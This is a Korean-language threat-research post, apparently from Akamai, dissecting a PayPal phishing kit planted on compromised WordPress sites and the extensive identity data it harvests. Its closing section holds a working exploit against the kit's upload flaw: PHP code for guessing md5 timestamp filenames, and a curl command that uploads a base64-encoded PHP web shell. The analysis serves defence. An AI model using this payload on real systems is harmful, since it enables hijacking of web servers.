모든 것을 원하는 키트: Scam Mimics PayPal의 알려진 보안 조치
핵심 요약
Akamai 연구원들이 공격자가 정상 WordPress 사이트에 기생해 포괄적인 PayPal 피싱 사기를 실행하는 증거를 발견했습니다.
공격자는 기존 비악성 WordPress 사이트에 무차별 대입 공격을 가하고 피싱 키트를 삽입해 회피를 유지합니다.
이 키트는 은행 정보와 이메일 비밀번호 외에 정부 문서와 피해자의 사진을 제출하도록 요구하는 등 새로운 보안 관행을 모방해 피해자의 신원과 정보에 대한 실질적인 접속을 시도합니다.
이처럼 비정상적으로 포괄적인 수준의 피해자 신원 도용은 자금 세탁, 세금 회피, 기타 사이버 범죄에 익명성을 제공하는 데 사용될 수 있습니다.
신원 도용 피해자는 2021년에는 4200만 명에 도달했으며 총 손실액은 520억 달러에 달했습니다.
이 키트는 다양한 소셜 엔지니어링 기술을 사용해 피해자를 속이고 점점 더 많은 민감한 정보를 제공하게 하는 함정에 빠뜨립니다.
이 피싱 키트의 독특한 점 중 하나는 연결 IP 주소에 대해 여러 가지 검사를 제공하여 해당 주소가 특정 도메인과 일치하지 않거나 보안 기관에서 유래하지 않았는지 확인함으로써 보안 회사를 직접 회피하려고 시도한다는 것입니다.
이 사이트의 배후에 있는 공격자는 파일 관리 플러그인을 사용해 피싱 키트를 업로드합니다. 흥미롭게도 이 메커니즘을 통해 WordPress 사이트를 추가로 악용할 수 있습니다.
피싱 키트 작성자는 htaccess를 사용해 URL 끝에 .php가 없도록 URL을 재작성합니다. 이렇게 하면 피싱 페이지가 더 세련되고 전문적으로 보입니다.
서론
피싱은 사이버 공격과 사기를 배포하는 가장 널리 퍼진 방법 중 하나입니다. 2020년과 2022년 사이에 전체 미국 시민의 거의 50% 가 신원 도용의 피해를 입었는데, 이는 비열한 범죄자들이 이 분야에서 무수히 많은 기술적 발전을 이루었기 때문인 것으로 보입니다. 아래 사례와 같은 온라인 사기 및 소셜 엔지니어링 기술에 대한 인식이 높아졌음에도 불구하고 이러한 수치는 계속 증가하고 있습니다. 2021년에는 신원 도용으로 인한 피해액이 무려 520억 달러 에 달하는 것으로 보고되어 이러한 사기가 사람들의 일상 생활에 얼마나 큰 영향을 미치는지 알 수 있습니다.
피싱은 고전적인 Nigerian Prince 사기보다 더 정상적인 것처럼 보이도록 모양과 느낌에 몇 가지 혁신이 있었습니다. Akamai는 이른 아침 WordPress 허니팟을 조사하던 중 이러한 사례를 발견했습니다. PayPal 사기 사이트에서 .zip 형식의 파일을 발견했습니다. 압축을 풀면 paypal_crax_original.zip이라는 이름의 이 파일에는 PHP 소스 코드부터 폰트 파일까지 150개 이상의 파일이 포함되어 있습니다.
이러한 허위 로그인 페이지에서 볼 수 있는 일반적인 신용 카드 정보나 인증정보 탈취를 넘어, 피해자가 직접 제공하는 완전한 신원 도용을 노리고 있습니다. 이 블로그 게시물에서는 이 인시던트가 어떻게 허니팟에 빠지는지, 탐지를 피하는 방법, 그리고 가장 중요한 개인 정보를 축적하는 방법 등을 처음부터 끝까지 자세히 살펴볼 것입니다.
감염 기법
먼저, 샘플은 Akamai가 설정한 관리용 WordPress 인증정보를 추측하거나 무차별 대입하는 방식으로 허니팟에 도착했습니다. 이 키트는 인터넷에서 흔히 볼 수 있는 인증정보/비밀번호 조합 목록을 사용해 로그인합니다. 허니팟은 취약한 플러그인 악용이나 취약한 관리 로그인 인증정보를 통해 의도적으로 감염을 허용하는 간단한 WordPress 설정입니다. 공격자는 다른 WordPress 사이트에 “기생”해 호스트로 사용하기 위해 인증정보를 획득한 다음 피싱 키트를 업로드하는 데 사용한 파일 관리 플러그인을 설치합니다. 아래 로그에서 이러한 단계를 확인할 수 있습니다(그림 1 및 2).
IP 평판 및 확인 연결
이 피싱 키트의 독특한 점 중 하나는 IP 주소를 특정 도메인과 상호 참조해 탐지를 회피하려고 시도한다는 것입니다. 이 피싱 키트는 연결 IP 주소에 대해 여러 가지 검사를 제공하여 해당 주소가 특정 도메인과 일치하지 않거나 보안 기관에서 유래하지 않았는지 확인합니다(그림 3). 연결 IP 주소를 소스 파일에 하드코딩한 정적 IP 범위 및 도메인 목록과 비교하여 이를 수행합니다. 이러한 IP 범위는 Google, Microsoft, Sucuri 등과 같은 회사의 네트워크 블록입니다. 또한 코드에 포함된 API 키를 사용해 IP 평판 사이트에서 IP 주소를 확인해 악성으로 플래그가 지정될 수 있는 IP를 찾습니다.
피싱 사이트 모습
이 키트의 가장 인상적인 측면 중 하나는 URL까지 깔끔한 인터페이스입니다. 피싱 키트 작성자는 htaccess를 사용해 URL 끝에 .php가 포함되지 않도록 URL을 다시 작성합니다(그림 4). 이렇게 하는 이유는 세련된 RESTful 애플리케이션처럼 보이기 위해서입니다. 링크가 http://site/app/login 대신 http://site/app/login.php로 표시되는 경우 사이트가 더 세련되고 전문적으로 보이며, 전문적으로 보이는 것이 더 믿을만해집니다.
데이터 수집
먼저, 피해자에게 보안 문자 과제가 표시됩니다(그림 5). 이 동작은 사용자가 어디서든, 특히 금융 사이트에서 로그인할 때 여러 보안 단계에 익숙하기 때문에 정상적인 PayPal 로그인 페이지처럼 보이도록 하는 데 중요합니다.
최초 보안 문자 과제가 수락되면(입력한 내용이 일치하는지 확인) 피해자에게 이메일 주소와 비밀번호를 입력하라는 메시지가 표시됩니다(그림 6 및 7).
일반적으로 대부분의 피싱 공격은 이 정도이지만, 이 키트는 아래에서 볼 수 있듯이 더 많은 정보를 훔치기 위해 더 나아갑니다. 이 키트는 피싱을 당하는 동안 계정에서 예상과 다른 비정상적인 활동이 있었다고 주장해 피해자의 신뢰를 얻으려고 시도합니다(그림 8).
다음 단계는 당연히 신용 카드 번호를 확인하는 것입니다. 일반적으로는 우편 번호나 CCV 번호만으로도 확인이 가능하지만, 이 키트는 피해자에게 모든 신용 카드 정보를 입력하라는 메시지를 표시합니다(그림 9). 여기까지 공격자는 꽤 깊이 침투했습니다. 그렇다면 왜 지금 피해자의 개인 정보 수집을 중단할까요? 아래에서 볼 수 있듯이, 그렇지 않습니다.
여기서부터 정말 흥미로워집니다. 다음 메시지는 ATM PIN(Personal Identification Number ), 사회 보장 번호, 어머니의 결혼 전 성을 수집하기 위한 것입니다(그림 10). 이것은 일반적인 피싱 키트가 수집하려고 시도하는 것보다 훨씬 더 많은 정보입니다.
이메일 주소를 PayPal 계정에 연결하면 어떨까요? 이렇게 하면 공격자는 사용자가 연결하기로 선택한 이메일 계정에 대한 접속 토큰을 얻게 됩니다. 아래에서 볼 수 있듯이, 공격자는 인증정보를 표시하기 위해 만든 샘플 이메일을 사용했습니다(그림 11). 추가 조사 결과, Gamad.com 사이트는 오프라인 상태이며 한동안 오프라인 상태였습니다. 이 사이트는 인증정보를 수집하기 위해 설정되었거나 정상적인 서비스가 감염된 것으로 추정됩니다.
이 시점에서 공격자는 이제 인증정보, 전체 신용 카드 정보, 사회 보장 번호 등을 보유하고 있지만 아직 끝나지 않았습니다.
다음 화면에서는 피해자의 신원 확인을 위해 얼굴 사진을 요구하며 정부 ID를 수집합니다(그림 12 및 13). 이는 IRS 같은 기관에서 사용하는 최신 보안 기법으로, 여기까지 온 피해자의 신뢰를 더욱 얻을 수 있습니다. 이 키트는 카메라에 접근해 얼굴 사진을 찍을 수 없지만(이 인증 기술을 정상적으로 사용할 때 일반적으로 볼 수 있는 것처럼), 실제로는 사용자에게 더 많은 신뢰를 줄 수 있습니다. 이러한 기술을 사용하는 기업은 종종 상당히 정교한 보안 프로그램을 갖추고 있기 때문에 정상성을 증명하는 것으로 볼 수 있습니다.
정부 문서를 업로드하고 이를 인증하기 위해 얼굴 사진을 찍는 것은 단순히 신용 카드 정보를 유출하는 것보다 피해자에게 더 큰 문제입니다. 피해자 명의로 암호화폐 거래 계정을 만드는 데 사용될 수 있기 때문입니다. 이러한 계정은 자금 세탁, 세금 회피 또는 다른 사이버 범죄에 익명성을 제공하는 데 사용될 수 있습니다.
이 시점에서 피해자는 완전한 신원 도용을 실행하는 데 필요한 거의 모든 종류의 민감한 정보를 제공한 것입니다(그림 14).
파일 업로드 악용
흥미롭게도 파일 업로드 기능에는 다른 공격자가 웹 셸을 업로드해 감염된 사이트를 하이재킹할 수 있는 취약점도 포함되어 있습니다. 파일 이름은 타임스탬프의 md5sum을 사용해 생성됩니다. 사용되는 타임스탬프는 밀리초 단위로 정확하지만, 공격자가 업로드한 웹 셸의 파일 이름을 찾을 때 확인할 수 있는 검색 가능한 md5sum 키스페이스를 제공할 수 있습니다.
파일 생성 코드는 날짜와 시간에 UNIX 에포크 이후의 초를 사용해 파일 이름에 대한 md5sum을 생성합니다. 이렇게 하면 파일을 업로드할 때부터 완료할 때까지 검색 가능한 키스페이스가 생성됩니다. 그 시간을 가지고 아래 원본 코드에서 수정된 함수를 사용해 md5 해시의 레인보우 테이블을 만듭니다. 그런 다음 200 응답에 대한 GET 요청으로 각각을 확인합니다.
<?php
$t=microtime(true);
$micro=sprintf("%06d",($t - floor($t))* 1000000);
$today=date("m.d.y.h.i.s.U".$micro,$t);
$name=hash('md5',$today);
echo $today,"->",$name ;
?>
$ php time.php
Timestamp :06.24.22.09.40.31.1656078031551004 md5sum :1b0d96dbd15a1885b905c0bdb8c1e9bc
md5sum에 대해 생성된 문자열은 날짜, 에포크 시간, 마이크로초로 구성됩니다. 이 문자열은 bash 함수 expr `date +%s%N` / 1000을 사용해 만든 다음 이를 초 단위까지 날짜 및 시간과 연결하면 됩니다. 그런 다음 파일이 서버에 처음 업로드된 시점과 완료된 시점 사이의 모든 시간 증분을 생성합니다. 실제로 테스트해 보았지만 네트워크 지연 시간이 길어지면 키스페이스도 증가합니다. 마이크로초를 기준으로 매초마다 백만 개의 가능한 md5sum 파일 이름이 있습니다. 파일 업로드를 시작한 시점부터 완료될 때까지 몇 초밖에 걸리지 않는다면 키스페이스는 상대적으로 작아집니다. 충분한 시간이 주어지면 무차별 대입도 가능합니다.
악용
파일 이름이 발견되면 간단한 curl 스크립트를 사용해 base64로 인코딩된 작은 웹 셸을 업로드할 수 있습니다.
$ curl -d 'doc_type=Passport&images%5B%5D=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgcGFzc3RocnUoJF9HRVRbJ2knXSk7ID8+%2BCg%3D%3D' -v http://example/tmp/extra/stockers/step7.php
결론
외부인의 시각에서 이 키트를 보면 정상적이지 않은 것이 분명해 보일 수 있습니다. 최근에 PayPal 사이트를 한 번이라도 방문했다면 이 페이지가 실제 페이지가 아니라는 것을 알 수 있습니다: PayPal은 신용 카드와 은행 정보에 직접 연결하고, 일회용 비밀번호로 로그인할 수 있으며, ATM 비밀번호를 절대 묻지 않습니다. 하지만 이러한 소셜 엔지니어링 요소가 이 키트의 성공 요인입니다.
요즘 사람들은 브랜드와 기업의 보안 조치를 보고 판단합니다. 다양한 방법으로 신원을 확인하는 것이 일반화되었을 뿐만 아니라 금융 또는 헬스케어 회사처럼 매우 민감한 정보가 있는 사이트에 로그인할 때에도 신원을 확인하는 것도 자연스럽습니다.
보안 문자를 즉시 사용하고, 비정상적인 계정 활동이 있었음을 알리고, 정부 신분증과 같은 “새로운 보안 조치”를 활용해 “신뢰”를 강화함으로써 피해자가 마치 정상적인 시나리오에 있는 것처럼 느끼게 합니다. 신원을 안전하게 보호하는 데 사용되는 동일한 방법은 궁극적으로 신용 카드 번호뿐만 아니라 암호화폐 계정 및 공격자가 얻고자 하는 모든 것을 포함한 전체 신원 도용으로 이어질 수 있습니다.
보안 조치가 계속 발전함에 따라 공격자가 수집할 수 있는 개인 정보의 양 또한 증가하고 있습니다. 언론과 직장에서 보안에 대한 보도가 점점 더 많아지면서 사람들은 그 어느 때보다 보안에 대한 경각심이 높아졌고, 이에 따라 범죄자들은 판돈을 올리고 있습니다.